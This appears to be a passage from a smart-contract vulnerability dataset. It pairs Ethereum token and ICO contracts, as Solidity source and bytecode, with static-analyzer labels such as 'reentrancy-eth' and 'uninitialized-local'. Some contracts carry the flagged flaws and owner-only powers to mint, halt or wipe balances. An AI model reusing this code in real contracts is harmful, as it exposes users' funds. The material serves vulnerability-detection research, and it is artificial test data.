fd5b506101cb610467366004611849565b610843565b34801561047857600080fd5b506101cb610487366004611862565b610872565b34801561049857600080fd5b5061022c6104a736600461179d565b6108b0565b3480156104b857600080fd5b5061022c6104c736600461180a565b60106020526000908152604090205460ff1681565b3480156104e857600080fd5b506101cb6108bd565b3480156104fd57600080fd5b5061028b61050c366004611894565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054357600080fd5b506101cb610552366004611849565b6108f3565b6000546001600160a01b0316331461058a5760405162461bcd60e51b8152600401610581906118cd565b60405180910390fd5b60005b81518110156105f2576001601060008484815181106105ae576105ae611902565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ea8161192e565b91505061058d565b5050565b6000610603338484610922565b5060015b92915050565b600061061a848484610a46565b61066c843361066785604051806060016040528060288152602001611a48602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ebb565b610922565b5060019392505050565b6000546001600160a01b031633146106a05760405162461bcd60e51b8152600401610581906118cd565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106eb5760405162461bcd60e51b8152600401610581906118cd565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461072957600080fd5b4761073381610ef5565b50565b6001600160a01b03811660009081526002602052604081205461060790610f85565b6000546001600160a01b031633146107825760405162461bcd60e51b8152600401610581906118cd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107f65760405162461bcd60e51b8152600401610581906118cd565b601655565b6000546001600160a01b031633146108255760405162461bcd60e51b8152600401610581906118cd565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461086d5760405162461bcd60e51b8152600401610581906118cd565b601855565b6000546001600160a01b0316331461089c5760405162461bcd60e51b8152600401610581906118cd565b600893909355600a91909155600955600b55565b6000610603338484610a46565b6012546001600160a01b0316336001600160a01b0316146108dd57600080fd5b60006108e830610736565b905061073381611009565b6000546001600160a01b0316331461091d5760405162461bcd60e51b8152600401610581906118cd565b601755565b6001600160a01b0383166109845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610581565b6001600160a01b0382166109e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610581565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aaa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610581565b6001600160a01b038216610b0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610581565b60008111610b6e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610581565b6000546001600160a01b03848116911614801590610b9a57506000546001600160a01b03838116911614155b15610dae57601554600160a01b900460ff16610c0257601654811115610c025760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610581565b6001600160a01b03831660009081526010602052604090205460ff16158015610c4457506001600160a01b03821660009081526010602052604090205460ff16155b610c9c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610581565b6015546001600160a01b03838116911614610d215760175481610cbe84610736565b610cc89190611949565b10610d215760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610581565b6000610d2c30610736565b601854601654919250821015908210610d455760165491505b808015610d5c5750601554600160a81b900460ff16155b8015610d7657506015546001600160a01b03868116911614155b8015610d8b5750601554600160b01b900460ff165b15610dab57610d9982611009565b478015610da957610da947610ef5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610df057506001600160a01b03831660009081526005602052604090205460ff165b80610e2257506015546001600160a01b03858116911614801590610e2257506015546001600160a01b03848116911614155b15610e2f57506000610ea9565b6015546001600160a01b038581169116148015610e5a57506014546001600160a01b03848116911614155b15610e6c57600854600c55600954600d555b6015546001600160a01b038481169116148015610e9757506014546001600160a01b03858116911614155b15610ea957600a54600c55600b54600d555b610eb584848484611192565b50505050565b60008184841115610edf5760405162461bcd60e51b81526004016105819190611748565b506000610eec8486611961565b95945050505050565b6012546001600160a01b03166108fc610f1a6002610f148560036111c0565b90611202565b6040518115909202916000818181858888f19350505050158015610f42573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f5d8360036111c0565b6040518115909202916000818181858888f193505050501580156105f2573d6000803e3d6000fd5b6000600654821115610fec5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610581565b6000610ff6611281565b905061100283826111c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105157611051611902565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110a557600080fd5b505afa1580156110b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dd9190611978565b816001815181106110f0576110f0611902565b6001600160a01b0392831660209182029290920101526014546111169130911684610922565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061114f908590600090869030904290600401611995565b600060405180830381600087803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061119f5761119f6112a4565b6111aa8484846112d2565b80610eb557610eb5600e54600c55600f54600d55565b600061100283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c9565b60008261121157506000610607565b600061121d8385611a06565b90508261122a8583611a25565b146110025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610581565b600080600061128e6113f7565b909250905061129d82826111c0565b9250505090565b600c541580156112b45750600d54155b156112bb57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112e487611437565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113169087611494565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134590866114d6565b6001600160a01b03891660009081526002602052604090205561136781611535565b611371848361157f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b691815260200190565b60405180910390a3505050505050505050565b600081836113ea5760405162461bcd60e51b81526004016105819190611748565b506000610eec8486611a25565b6006546000908190670de0b6b3a764000061141282826111c0565b82101561142e57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114548a600c54600d546115a3565b9250925092506000611464611281565b905060008060006114778e8787876115f8565b919e509c509a509598509396509194505050505091939550919395565b600061100283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ebb565b6000806114e38385611949565b9050838110156110025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610581565b600061153f611281565b9050600061154d8383611202565b3060009081526002602052604090205490915061156a90826114d6565b30600090815260026020526040902055505050565b60065461158c9083611494565b60065560075461159c90826114d6565b6007555050565b60008080806115bd60646115b78989611202565b906111c0565b905060006115d060646115b78a89611202565b905060006115e8826115e28b86611494565b90611494565b9992985090965090945050505050565b60008080806116078886611202565b905060006116158887611202565b905060006116238888611202565b90506000611635826115e28686611494565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461073357600080fd5b803561167e8161165e565b919050565b6000602080838503121561169657600080fd5b823567ffffffffffffffff808211156116ae57600080fd5b818501915085601f8301126116c257600080fd5b8135818111156116d4576116d4611648565b8060051b604051601f19603f830116810181811085821117156116f9576116f9611648565b60405291825284820192508381018501918883111561171757600080fd5b938501935b8285101561173c5761172d85611673565b8452938501939285019261171c565b98975050505050505050565b600060208083528351808285015260005b8181101561177557858101830151858201604001528201611759565b81811115611787576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156117b057600080fd5b82356117bb8161165e565b946020939093013593505050565b6000806000606084860312156117de57600080fd5b83356117e98161165e565b925060208401356117f98161165e565b929592945050506040919091013590565b60006020828403121561181c57600080fd5b81356110028161165e565b60006020828403121561183957600080fd5b8135801515811461100257600080fd5b60006020828403121561185b57600080fd5b5035919050565b6000806000806080858703121561187857600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118a757600080fd5b82356118b28161165e565b915060208301356118c28161165e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561194257611942611918565b5060010190565b6000821982111561195c5761195c611918565b500190565b60008282101561197357611973611918565b500390565b60006020828403121561198a57600080fd5b81516110028161165e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119e55784516001600160a01b0316835293830193918301916001016119c0565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a2057611a20611918565b500290565b600082611a4257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b99e81517992da5659cc015910e8ea10ae5d3042121c5f538359dd5f6ec2980464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,485 |
0xecc9fc28786405260c74fbeeb372debc3e852dab
|
pragma solidity 0.4.25;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
* @title ViteCoinICO
* @dev ViteCoinICO accepting contributions only within a time frame.
*/
contract ViteCoinICO is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 public fundsRaised;
uint256 public privateSaleTokens;
uint256 public preSaleTokens;
uint256 public saleTokens;
uint256 public teamAdvTokens;
uint256 public reserveTokens;
uint256 public bountyTokens;
uint256 public hardCap;
string internal minTxSize;
string internal maxTxSize;
string public TokenPrice;
uint internal _totalSupply;
address public wallet;
uint256 internal privatesaleopeningTime;
uint256 internal privatesaleclosingTime;
uint256 internal presaleopeningTime;
uint256 internal presaleclosingTime;
uint256 internal saleopeningTime;
uint256 internal saleclosingTime;
bool internal privatesaleOpen;
bool internal presaleOpen;
bool internal saleOpen;
bool internal Open;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Burned(address burner, uint burnedAmount);
modifier onlyWhileOpen {
require(now >= privatesaleopeningTime && now <= (saleclosingTime + 30 days) && Open);
_;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor (address _owner, address _wallet) public {
_allocateTokens();
_setTimes();
symbol = "VT";
name = "Vitecoin";
decimals = 18;
owner = _owner;
wallet = _wallet;
_totalSupply = 200000000;
Open = true;
balances[this] = totalSupply();
emit Transfer(address(0),this, totalSupply());
}
function _setTimes() internal{
privatesaleopeningTime = 1534723200; // 20th Aug 2018 00:00:00 GMT
privatesaleclosingTime = 1541462399; // 05th Nov 2018 23:59:59 GMT
presaleopeningTime = 1541462400; // 06th Nov 2018 00:00:00 GMT
presaleclosingTime = 1546214399; // 30th Dec 2018 23:59:59 GMT
saleopeningTime = 1546214400; // 31st Dec 2018 00:00:00 GMT
saleclosingTime = 1553990399; // 30th Mar 2019 23:59:59 GMT
}
function _allocateTokens() internal{
privateSaleTokens = 10000000; // 5%
preSaleTokens = 80000000; // 40%
saleTokens = 60000000; // 30%
teamAdvTokens = 24000000; // 12%
reserveTokens = 20000000; // 10%
bountyTokens = 6000000; // 3%
hardCap = 36825; // 36825 eths or 36825*10^18 weis
minTxSize = "0,5 ETH"; // (0,5 ETH)
maxTxSize = "1000 ETH"; // (1000 ETH)
TokenPrice = "$0.05";
privatesaleOpen = true;
}
function totalSupply() public constant returns (uint){
return _totalSupply* 10**uint(decimals);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(to != 0x0);
require(balances[msg.sender] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success){
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender,spender,tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success){
require(tokens <= allowed[from][msg.sender]); //check allowance
require(balances[from] >= tokens);
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
emit Transfer(from,to,tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _checkOpenings() internal{
if(now >= privatesaleopeningTime && now <= privatesaleclosingTime){
privatesaleOpen = true;
presaleOpen = false;
saleOpen = false;
}
else if(now >= presaleopeningTime && now <= presaleclosingTime){
privatesaleOpen = false;
presaleOpen = true;
saleOpen = false;
}
else if(now >= saleopeningTime && now <= (saleclosingTime + 30 days)){
privatesaleOpen = false;
presaleOpen = false;
saleOpen = true;
}
else{
privatesaleOpen = false;
presaleOpen = false;
saleOpen = false;
}
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable onlyWhileOpen {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
_checkOpenings();
if(privatesaleOpen){
require(weiAmount >= 5e17 && weiAmount <= 1e21 ,"FUNDS should be MIN 0,5 ETH and Max 1000 ETH");
}
else {
require(weiAmount >= 1e17 && weiAmount <= 5e21 ,"FUNDS should be MIN 0,1 ETH and Max 5000 ETH");
}
uint256 tokens = _getTokenAmount(weiAmount);
if(weiAmount > 50e18){ // greater than 50 eths
// 10% extra discount
tokens = tokens.add((tokens.mul(10)).div(100));
}
// update state
fundsRaised = fundsRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(this, _beneficiary, weiAmount, tokens);
_forwardFunds(msg.value);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal{
require(_beneficiary != address(0));
require(_weiAmount != 0);
// require(_weiAmount >= 5e17 && _weiAmount <= 1e21 ,"FUNDS should be MIN 0,5 ETH and Max 1000 ETH");
}
function _getTokenAmount(uint256 _weiAmount) internal returns (uint256) {
uint256 rate;
if(privatesaleOpen){
rate = 10000; //per wei
}
else if(presaleOpen){
rate = 8000; //per wei
}
else if(saleOpen){
rate = 8000; //per wei
}
return _weiAmount.mul(rate);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
_transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _forwardFunds(uint256 _amount) internal {
wallet.transfer(_amount);
}
function _transfer(address to, uint tokens) internal returns (bool success) {
// prevent transfer to 0x0, use burn instead
require(to != 0x0);
require(balances[this] >= tokens );
require(balances[to] + tokens >= balances[to]);
balances[this] = balances[this].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(this,to,tokens);
return true;
}
function freeTokens(address _beneficiary, uint256 _tokenAmount) public onlyOwner{
_transfer(_beneficiary, _tokenAmount);
}
function stopICO() public onlyOwner{
Open = false;
}
function multipleTokensSend (address[] _addresses, uint256[] _values) public onlyOwner{
for (uint i = 0; i < _addresses.length; i++){
_transfer(_addresses[i], _values[i]*10**uint(decimals));
}
}
function burnRemainingTokens() public onlyOwner{
balances[this] = 0;
}
}
|
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461015e578063095ea7b3146101e85780630fe83bb814610220578063141ddca71461024757806318160ddd1461025c5780631a9bf9cf1461027157806323b872dd1461028657806327ac36c4146102b0578063313ce567146102c5578063521eb273146102f05780636681b9fd1461032157806370a082311461033657806383408d73146103575780638da5cb5b1461036c57806395d89b4114610381578063a9059cbb14610396578063b0b9603b146103ba578063c4815c96146103cf578063c552e04b146103e4578063c8e569a8146103f9578063d4ee1d901461040e578063d7fe270e14610423578063dd62ed3e146104b1578063ec8ac4d8146104d8578063fb86a404146104ec578063fbcece8514610501575b61015c33610525565b005b34801561016a57600080fd5b506101736107b6565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ad578181015183820152602001610195565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f457600080fd5b5061020c600160a060020a0360043516602435610844565b604080519115158252519081900360200190f35b34801561022c57600080fd5b506102356108ab565b60408051918252519081900360200190f35b34801561025357600080fd5b506101736108b1565b34801561026857600080fd5b5061023561090c565b34801561027d57600080fd5b5061023561091e565b34801561029257600080fd5b5061020c600160a060020a0360043581169060243516604435610924565b3480156102bc57600080fd5b50610235610a86565b3480156102d157600080fd5b506102da610a8c565b6040805160ff9092168252519081900360200190f35b3480156102fc57600080fd5b50610305610a95565b60408051600160a060020a039092168252519081900360200190f35b34801561032d57600080fd5b50610235610aa4565b34801561034257600080fd5b50610235600160a060020a0360043516610aaa565b34801561036357600080fd5b5061015c610ac5565b34801561037857600080fd5b50610305610aee565b34801561038d57600080fd5b50610173610afd565b3480156103a257600080fd5b5061020c600160a060020a0360043516602435610b55565b3480156103c657600080fd5b50610235610c5f565b3480156103db57600080fd5b50610235610c65565b3480156103f057600080fd5b50610235610c6b565b34801561040557600080fd5b5061015c610c71565b34801561041a57600080fd5b50610305610c97565b34801561042f57600080fd5b506040805160206004803580820135838102808601850190965280855261015c95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610ca69650505050505050565b3480156104bd57600080fd5b50610235600160a060020a0360043581169060243516610d19565b61015c600160a060020a0360043516610525565b3480156104f857600080fd5b50610235610d44565b34801561050d57600080fd5b5061015c600160a060020a0360043516602435610d4a565b6000806012544210158015610541575060175462278d00014211155b801561055657506018546301000000900460ff165b151561056157600080fd5b34915061056e8383610d6b565b610576610d90565b60185460ff161561063a576706f05b59d3b2000082101580156105a25750683635c9adc5dea000008211155b151561063557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46554e44532073686f756c64206265204d494e20302c352045544820616e642060448201527f4d61782031303030204554480000000000000000000000000000000000000000606482015290519081900360840190fd5b6106ef565b67016345785d8a0000821015801561065c575069010f0cf064dd592000008211155b15156106ef57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f46554e44532073686f756c64206265204d494e20302c312045544820616e642060448201527f4d61782035303030204554480000000000000000000000000000000000000000606482015290519081900360840190fd5b6106f882610e3b565b90506802b5e3af16b18800008211156107405761073d610730606461072484600a63ffffffff610e9a16565b9063ffffffff610ebf16565b829063ffffffff610ee016565b90505b600554610753908363ffffffff610ee016565b6005556107608382610ef0565b60408051838152602081018390528151600160a060020a0386169230927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36107b134610efa565b505050565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561083c5780601f106108115761010080835404028352916020019161083c565b820191906000526020600020905b81548152906001019060200180831161081f57829003601f168201915b505050505081565b336000818152601a60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60075481565b600f805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561083c5780601f106108115761010080835404028352916020019161083c565b60045460105460ff909116600a0a0290565b600b5481565b600160a060020a0383166000908152601a6020908152604080832033845290915281205482111561095457600080fd5b600160a060020a03841660009081526019602052604090205482111561097957600080fd5b600160a060020a0384166000908152601960205260409020546109a2908363ffffffff610f3416565b600160a060020a0380861660009081526019602052604080822093909355908516815220546109d7908363ffffffff610ee016565b600160a060020a038085166000908152601960209081526040808320949094559187168152601a82528281203382529091522054610a1b908363ffffffff610f3416565b600160a060020a038086166000818152601a6020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600a5481565b60045460ff1681565b601154600160a060020a031681565b60055481565b600160a060020a031660009081526019602052604090205490565b600054600160a060020a03163314610adc57600080fd5b30600090815260196020526040812055565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561083c5780601f106108115761010080835404028352916020019161083c565b6000600160a060020a0383161515610b6c57600080fd5b33600090815260196020526040902054821115610b8857600080fd5b600160a060020a0383166000908152601960205260409020548281011015610baf57600080fd5b33600090815260196020526040902054610bcf908363ffffffff610f3416565b3360009081526019602052604080822092909255600160a060020a03851681522054610c01908363ffffffff610ee016565b600160a060020a0384166000818152601960209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60085481565b60095481565b60065481565b600054600160a060020a03163314610c8857600080fd5b6018805463ff00000019169055565b600154600160a060020a031681565b60008054600160a060020a03163314610cbe57600080fd5b5060005b82518110156107b157610d108382815181101515610cdc57fe5b60209081029091010151600454845160ff909116600a0a90859085908110610d0057fe5b9060200190602002015102610f49565b50600101610cc2565b600160a060020a039182166000908152601a6020908152604080832093909416825291909152205490565b600c5481565b600054600160a060020a03163314610d6157600080fd5b6107b18282610f49565b600160a060020a0382161515610d8057600080fd5b801515610d8c57600080fd5b5050565b6012544210158015610da457506013544211155b15610dc3576018805462ffff001960ff19909116600117169055610e39565b6014544210158015610dd757506015544211155b15610df8576018805462ff00001961ffff1990911661010017169055610e39565b6016544210158015610e11575060175462278d00014211155b15610e2c576018805462ffffff191662010000179055610e39565b6018805462ffffff191690555b565b601854600090819060ff1615610e545750612710610e83565b601854610100900460ff1615610e6d5750611f40610e83565b60185462010000900460ff1615610e835750611f405b610e93838263ffffffff610e9a16565b9392505050565b818102821580610eb45750818382811515610eb157fe5b04145b15156108a557600080fd5b6000808211610ecd57600080fd5b8183811515610ed857fe5b049392505050565b818101828110156108a557600080fd5b610d8c8282610d61565b601154604051600160a060020a039091169082156108fc029083906000818181858888f19350505050158015610d8c573d6000803e3d6000fd5b600082821115610f4357600080fd5b50900390565b6000600160a060020a0383161515610f6057600080fd5b30600090815260196020526040902054821115610f7c57600080fd5b600160a060020a0383166000908152601960205260409020548281011015610fa357600080fd5b30600090815260196020526040902054610fc3908363ffffffff610f3416565b3060009081526019602052604080822092909255600160a060020a03851681522054610ff5908363ffffffff610ee016565b600160a060020a0384166000818152601960209081526040918290209390935580518581529051919230927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001929150505600a165627a7a72305820486486484d03cdb682eb93669e8483c8578eda069136d842130a4a9966d780a60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,486 |
0xd131a7556faf05684e066c6d060c7bc5d390615c
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
bool public paused = false;
modifier running {
require(!paused);
_;
}
function pause() onlyOwner public {
paused = true;
}
function start() onlyOwner public {
paused = false;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0)); //Prevent transfer to 0x0 address. Use burn() instead
require(_value > 0 && _value <= balances[msg.sender]); // Check for balance
require(balances[_to].add(_value) > balances[_to]); // Check for overflows
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken, Pausable {
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozen;
function transfer(address _to, uint256 _value) public running returns (bool) {
require(!frozen[_to] && !frozen[msg.sender]);
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public running returns (bool) {
require(_to != address(0));
require(!frozen[_to] && !frozen[_from]);
require(_value <= balances[_from]);
require(_value > 0 && _value <= allowed[_from][msg.sender]);
require(balances[_to].add(_value) > balances[_to]);
